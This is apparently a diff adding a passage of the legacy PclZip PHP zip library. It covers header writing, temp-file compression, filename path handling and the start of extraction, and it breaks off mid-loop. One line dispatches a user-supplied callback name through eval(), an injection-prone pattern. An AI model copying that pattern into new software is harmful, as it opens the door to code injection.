+      else if ($p_filedescr['type'] == 'folder') {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "'".$p_filename."' is a folder");
+        // ----- Look for directory last '/'
+        if (@substr($p_header['stored_filename'], -1) != '/') {
+          $p_header['stored_filename'] .= '/';
+        }
+
+        // ----- Set the file properties
+        $p_header['size'] = 0;
+        //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
+        $p_header['external'] = 0x00000010;   // Value for a folder : to be checked
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
+        {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Look for post-add callback
+    if (isset($p_options[PCLZIP_CB_POST_ADD])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A post-callback '".$p_options[PCLZIP_CB_POST_ADD]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_POST_ADD].'(PCLZIP_CB_POST_ADD, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Ignored
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Nothing can be modified
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileUsingTempFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privAddFileUsingTempFile", "filename='".$p_filedescr['filename']."'");
+    $v_result=PCLZIP_ERR_NO_ERROR;
+    
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "'".$p_filename."' is a file");
+
+    // ----- Open the source file
+    if (($v_file = @fopen($p_filename, "rb")) == 0) {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Creates a compressed temporary file
+    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
+    if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
+      fclose($v_file);
+      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = filesize($p_filename);
+    while ($v_size != 0) {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read ".$v_read_size." bytes");
+      $v_buffer = @fread($v_file, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @gzputs($v_file_compressed, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close the file
+    @fclose($v_file);
+    @gzclose($v_file_compressed);
+
+    // ----- Check the minimum file size
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "gzip file size ".filesize($v_gzip_temp_name));
+    if (filesize($v_gzip_temp_name) < 18) {
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the compressed attributes
+    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the gzip file header
+    $v_binary_data = @fread($v_file_compressed, 10);
+    $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);
+
+    // ----- Check some parameters
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[id1]='.bin2hex($v_data_header['id1']));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[id2]='.bin2hex($v_data_header['id2']));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[cm]='.bin2hex($v_data_header['cm']));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[flag]='.bin2hex($v_data_header['flag']));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[mtime]='.$v_data_header['mtime']);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[xfl]='.bin2hex($v_data_header['xfl']));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, '$v_data_header[os]='.bin2hex($v_data_header['os']));
+    $v_data_header['os'] = bin2hex($v_data_header['os']);
+
+    // ----- Read the gzip file footer
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "File position after header ".ftell($v_file_compressed));
+    @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "File position at beginning of footer ".ftell($v_file_compressed));
+    $v_binary_data = @fread($v_file_compressed, 8);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "File position after footer ".ftell($v_file_compressed));
+    $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);
+
+    // ----- Set the attributes
+    $p_header['compression'] = ord($v_data_header['cm']);
+    //$p_header['mtime'] = $v_data_header['mtime'];
+    $p_header['crc'] = $v_data_footer['crc'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Compressed size ".(filesize($v_gzip_temp_name)-18));
+    $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;
+
+    // ----- Close the file
+    @fclose($v_file_compressed);
+
+    // ----- Call the header generation
+    if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Add the compressed data
+    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
+    {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    fseek($v_file_compressed, 10);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "File position before reading compressed data ".ftell($v_file_compressed));
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, ' '.$p_header['compressed_size'].' bytes to read');
+    $v_size = $p_header['compressed_size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read ".$v_read_size." bytes");
+      $v_buffer = @fread($v_file_compressed, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close the file
+    @fclose($v_file_compressed);
+
+    // ----- Unlink the temporary file
+    @unlink($v_gzip_temp_name);
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCalculateStoredFilename()
+  // Description :
+  //   Based on file descriptor properties and global options, this method
+  //   calculate the filename that will be stored in the archive.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCalculateStoredFilename(&$p_filedescr, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCalculateStoredFilename", "filename='".$p_filedescr['filename']."'");
+    $v_result=1;
+    
+    // ----- Working variables
+    $p_filename = $p_filedescr['filename'];
+    if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
+      $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
+    }
+    else {
+      $p_add_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
+      $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
+    }
+    else {
+      $p_remove_dir = '';
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Remove path ='".$p_remove_dir."'");
+    if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+      $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+    }
+    else {
+      $p_remove_all_dir = 0;
+    }
+
+    // ----- Look for full name change
+    if (isset($p_filedescr['new_full_name'])) {
+      // ----- Remove drive letter if any
+      $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Changing full name of '".$p_filename."' for '".$v_stored_filename."'");
+    }
+    
+    // ----- Look for path and/or short name change
+    else {
+
+      // ----- Look for short name change
+      // Its when we cahnge just the filename but not the path
+      if (isset($p_filedescr['new_short_name'])) {
+        $v_path_info = pathinfo($p_filename);
+        $v_dir = '';
+        if ($v_path_info['dirname'] != '') {
+          $v_dir = $v_path_info['dirname'].'/';
+        }
+        $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Changing short name of '".$p_filename."' for '".$v_stored_filename."'");
+      }
+      else {
+        // ----- Calculate the stored filename
+        $v_stored_filename = $p_filename;
+      }
+
+      // ----- Look for all path to remove
+      if ($p_remove_all_dir) {
+        $v_stored_filename = basename($p_filename);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Remove all path selected change '".$p_filename."' for '".$v_stored_filename."'");
+      }
+      // ----- Look for partial path remove
+      else if ($p_remove_dir != "") {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Partial path to remove");
+        if (substr($p_remove_dir, -1) != '/')
+          $p_remove_dir .= "/";
+
+        if (   (substr($p_filename, 0, 2) == "./")
+            || (substr($p_remove_dir, 0, 2) == "./")) {
+            
+          if (   (substr($p_filename, 0, 2) == "./")
+              && (substr($p_remove_dir, 0, 2) != "./")) {
+            $p_remove_dir = "./".$p_remove_dir;
+          }
+          if (   (substr($p_filename, 0, 2) != "./")
+              && (substr($p_remove_dir, 0, 2) == "./")) {
+            $p_remove_dir = substr($p_remove_dir, 2);
+          }
+        }
+
+        $v_compare = PclZipUtilPathInclusion($p_remove_dir,
+                                             $v_stored_filename);
+        if ($v_compare > 0) {
+          if ($v_compare == 2) {
+            $v_stored_filename = "";
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Path to remove is the current folder");
+          }
+          else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Remove path '$p_remove_dir' in file '$v_stored_filename'");
+            $v_stored_filename = substr($v_stored_filename,
+                                        strlen($p_remove_dir));
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Result is '$v_stored_filename'");
+          }
+        }
+      }
+      
+      // ----- Remove drive letter if any
+      $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
+      
+      // ----- Look for path to add
+      if ($p_add_dir != "") {
+        if (substr($p_add_dir, -1) == "/")
+          $v_stored_filename = $p_add_dir.$v_stored_filename;
+        else
+          $v_stored_filename = $p_add_dir."/".$v_stored_filename;
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Add path '$p_add_dir' in file '$p_filename' = '$v_stored_filename'");
+      }
+    }
+
+    // ----- Filename (reduce the path of stored name)
+    $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
+    $p_filedescr['stored_filename'] = $v_stored_filename;
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Stored filename will be '".$p_filedescr['stored_filename']."', strlen ".strlen($p_filedescr['stored_filename']));
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privWriteFileHeader", 'file="'.$p_header['filename'].'", stored as "'.$p_header['stored_filename'].'"');
+    $v_result=1;
+
+    // ----- Store the offset position of the file
+    $p_header['offset'] = ftell($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'File offset of the header :'.$p_header['offset']);
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
+	                      $p_header['version_extracted'], $p_header['flag'],
+                          $p_header['compression'], $v_mtime, $v_mdate,
+                          $p_header['crc'], $p_header['compressed_size'],
+						  $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len']);
+
+    // ----- Write the first 148 bytes of the header in the archive
+    fputs($this->zip_fd, $v_binary_data, 30);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privWriteCentralFileHeader", 'file="'.$p_header['filename'].'", stored as "'.$p_header['stored_filename'].'"');
+    $v_result=1;
+
+    // TBC
+    //for(reset($p_header); $key = key($p_header); next($p_header)) {
+    //  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "header[$key] = ".$p_header[$key]);
+    //}
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Comment size : \''.$p_header['comment_len'].'\'');
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
+	                      $p_header['version'], $p_header['version_extracted'],
+                          $p_header['flag'], $p_header['compression'],
+						  $v_mtime, $v_mdate, $p_header['crc'],
+                          $p_header['compressed_size'], $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len'], $p_header['comment_len'],
+                          $p_header['disk'], $p_header['internal'],
+						  $p_header['external'], $p_header['offset']);
+
+    // ----- Write the 42 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 46);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+    if ($p_header['comment_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privWriteCentralHeader", 'nb_entries='.$p_nb_entries.', size='.$p_size.', offset='.$p_offset.', comment="'.$p_comment.'"');
+    $v_result=1;
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
+	                      $p_nb_entries, $p_size,
+						  $p_offset, strlen($p_comment));
+
+    // ----- Write the 22 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 22);
+
+    // ----- Write the variable fields
+    if (strlen($p_comment) != 0)
+    {
+      fputs($this->zip_fd, $p_comment, strlen($p_comment));
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privList()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privList(&$p_list)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privList", "list");
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+      
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of Central Dir
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Offset : ".$v_central_dir['offset']."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position in file : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position in file : ".ftell($this->zip_fd)."'");
+    if (@fseek($this->zip_fd, $v_central_dir['offset']))
+    {
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position in file : ".ftell($this->zip_fd)."'");
+
+    // ----- Read each entry
+    for ($i=0; $i<$v_central_dir['entries']; $i++)
+    {
+      // ----- Read the file header
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+      $v_header['index'] = $i;
+
+      // ----- Get the only interesting attributes
+      $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
+      unset($v_header);
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privConvertHeader2FileInfo()
+  // Description :
+  //   This function takes the file informations from the central directory
+  //   entries and extract the interesting parameters that will be given back.
+  //   The resulting file infos are set in the array $p_info
+  //     $p_info['filename'] : Filename with full path. Given by user (add),
+  //                           extracted in the filesystem (extract).
+  //     $p_info['stored_filename'] : Stored filename in the archive.
+  //     $p_info['size'] = Size of the file.
+  //     $p_info['compressed_size'] = Compressed size of the file.
+  //     $p_info['mtime'] = Last modification date of the file.
+  //     $p_info['comment'] = Comment associated with the file.
+  //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
+  //     $p_info['status'] = status of the action on the file.
+  //     $p_info['crc'] = CRC of the file content.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privConvertHeader2FileInfo($p_header, &$p_info)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privConvertHeader2FileInfo", "Filename='".$p_header['filename']."'");
+    $v_result=1;
+
+    // ----- Get the interesting attributes
+    $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
+    $p_info['filename'] = $v_temp_path;
+    $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
+    $p_info['stored_filename'] = $v_temp_path;
+    $p_info['size'] = $p_header['size'];
+    $p_info['compressed_size'] = $p_header['compressed_size'];
+    $p_info['mtime'] = $p_header['mtime'];
+    $p_info['comment'] = $p_header['comment'];
+    $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
+    $p_info['index'] = $p_header['index'];
+    $p_info['status'] = $p_header['status'];
+    $p_info['crc'] = $p_header['crc'];
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractByRule()
+  // Description :
+  //   Extract a file or directory depending of rules (by index, by name, ...)
+  // Parameters :
+  //   $p_file_list : An array where will be placed the properties of each
+  //                  extracted file
+  //   $p_path : Path to add while writing the extracted files
+  //   $p_remove_path : Path to remove (from the file memorized path) while writing the
+  //                    extracted files. If the path does not match the file path,
+  //                    the file is extracted with its memorized path.
+  //                    $p_remove_path does not apply to 'list' mode.
+  //                    $p_path and $p_remove_path are commulative.
+  // Return Values :
+  //   1 on success,0 or less on error (see error code list)
+  // --------------------------------------------------------------------------------
+  function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privExtractByRule", "path='$p_path', remove_path='$p_remove_path', remove_all_path='".($p_remove_all_path?'true':'false')."'");
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check the path
+    if (   ($p_path == "")
+	    || (   (substr($p_path, 0, 1) != "/")
+		    && (substr($p_path, 0, 3) != "../")
+			&& (substr($p_path,1,2)!=":/")))
+      $p_path = "./".$p_path;
+
+    // ----- Reduce the path last (and duplicated) '/'
+    if (($p_path != "./") && ($p_path != "/"))
+    {
+      // ----- Look for the path end '/'
+      while (substr($p_path, -1) == "/")
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Destination path [$p_path] ends by '/'");
+        $p_path = substr($p_path, 0, strlen($p_path)-1);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Modified to [$p_path]");
+      }
+    }
+
+    // ----- Look for path to remove format (should end by /)
+    if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
+    {
+      $p_remove_path .= '/';
+    }
+    $p_remove_path_size = strlen($p_remove_path);
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result = $this->privOpenFd('rb')) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+
+    // ----- Read each entry
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Read next file header entry : '$i'");
+
+      // ----- Read next Central dir entry
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Position before rewind : ".ftell($this->zip_fd)."'");
+      @rewind($this->zip_fd);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Position after rewind : ".ftell($this->zip_fd)."'");
+      if (@fseek($this->zip_fd, $v_pos_entry))
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+      // ----- Read the file header
+      $v_header = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+
+      // ----- Store the index
+      $v_header['index'] = $i;
+
+      // ----- Store the file position
+      $v_pos_entry = ftell($this->zip_fd);
+
+      // ----- Look for the specific extract rules
+      $v_extract = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByName'");
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {
